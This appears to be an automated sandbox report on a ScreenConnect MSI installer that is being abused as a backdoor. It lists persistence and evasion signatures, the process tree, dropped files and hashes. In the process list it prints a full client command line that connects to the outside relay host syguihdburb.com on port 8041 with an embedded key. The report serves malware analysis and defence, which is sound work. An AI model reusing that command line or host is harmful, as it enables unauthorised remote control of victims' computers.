Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 12:14

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample261102-pefp7as1bs
  • SHA256 d12ae777cd027bc89bd337732aa861d94662caabbde28d470cd3871ac7feec64
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4948
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2632
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 707271D0C8D05713BA000E5E7BA73125 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4408
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1524
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 69F4CECD057180154D562C9CF627BD21
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5000
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 61ADE9FBD0DBF1EC9CD1ACD2F698027D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5260
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1452
    • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=syguihdburb.com&p=8041&s=9ce6307e-f1d9-4d0d-b19f-429b6412961b&k=BgIAAACkAABSU0ExAAgAAAEAAQDd13iLuBYd%2blgPavlbGQJ3RAXBQ%2f4FCofsmR2%2bN7TTfqY7JBZEudIoEU9OsS5UEM2M2i2D2pp9j3uyZAU%2fWBd1PMDR4UXFJf%2fl4Kzdd6iKqUK2bz%2fNKimyx5eF5ztq89AFt5pe6ASWPFHUfRmb%2fMN8GhYmdgMn50Qyo0cOfK1JrdLF7geqO4ntarYK%2fnF0chP%2fk9vs3Zy1XgBUVz%2ba1Zeh3W8VM6V%2fErqlnCDyuU62OS5lT6kBVex7d4toGQrIJIbGDiSGLrgPcWUuJjL3fTD%2fkYzeOWhWdqSPV85AJPWZj8ECZv8r03N6ave%2fnKAiHeuhwqbjowNQ3PDnWnKTlUbP"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "7dc633f6-8aaa-4400-8ff9-5ae354cd6f92" "User"
        2⤵
        • Executes dropped EXE
        PID:3328
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "e6d0a360-a146-42c0-8b5e-b554fb06ba55" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:412
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:3540

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59cb27.rbs

            • Path C:\Config.Msi\e59cb27.rbs
            • Size 214KB
            • SHA256 5ff266503892cbbbc0cfa4ab5ce516d37e8acbd2677aad2edc2d56add7e10b86
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.en-US.resources
            • Size 343B
            • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.resources
            • Size 32KB
            • SHA256 bae2628f861455f9ae162ebb4599ea04c84f28326f687c489fb51017f5424dcd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.en-US.resources
            • Size 47KB
            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\app.config
            • Size 2KB
            • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\system.config
            • Size 947B
            • SHA256 21bfccf8310e6b13f4d75bc8c64da93a322d43e56b6714058e8e47d2e86d55e7
            • MD5 SHA1 SHA512 TLSH

            MSI717D.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI717D.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSID374.tmp

            • Path C:\Windows\Installer\MSID374.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e59cb28.msi

            • Path C:\Windows\Installer\e59cb28.msi
            • Size 12.9MB
            • SHA256 d12ae777cd027bc89bd337732aa861d94662caabbde28d470cd3871ac7feec64
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 f09b76d0d5fde9c5f065bff7a81bd6a643994ccb77f656b1f1a28728f9c70ce4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {ba3b2b0e-2cd5-43dd-b3e1-3f023142d849}_OnDiskSnapshotProp

            • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{ba3b2b0e-2cd5-43dd-b3e1-3f023142d849}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 9a1dd03ec47654c7f4b1d4cc693fba7a0cfb4c385481ce1eeecb3740e5c67080
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2328-99-0x00000000041B0000-0x0000000004200000-memory.dmp

            memory/2328-103-0x0000000004200000-0x0000000004236000-memory.dmp

            memory/2328-104-0x00000000044C0000-0x0000000004552000-memory.dmp

            memory/2328-108-0x00000000046B0000-0x0000000004785000-memory.dmp

            memory/2328-77-0x00000000018A0000-0x00000000018B8000-memory.dmp

            memory/2328-106-0x0000000004170000-0x00000000041B1000-memory.dmp

            memory/3328-120-0x00000000028E0000-0x0000000002916000-memory.dmp

            memory/3328-119-0x0000000000700000-0x0000000000798000-memory.dmp

            memory/3328-121-0x000000001B710000-0x000000001B79E000-memory.dmp

            memory/3328-122-0x000000001B950000-0x000000001BAFC000-memory.dmp

            memory/3328-123-0x000000001BC90000-0x000000001BE18000-memory.dmp

            memory/3328-124-0x00000000028C0000-0x00000000028D8000-memory.dmp

            memory/3328-125-0x0000000002950000-0x0000000002968000-memory.dmp

            memory/3328-126-0x000000001B680000-0x000000001B6C1000-memory.dmp

            memory/4408-30-0x0000000005E20000-0x0000000005FCC000-memory.dmp

            memory/4408-26-0x0000000003B90000-0x0000000003C1E000-memory.dmp

            memory/4408-22-0x0000000003AF0000-0x0000000003AFA000-memory.dmp

            memory/4408-18-0x0000000003AB0000-0x0000000003ADE000-memory.dmp

            memory/4408-31-0x0000000006590000-0x0000000006B4A000-memory.dmp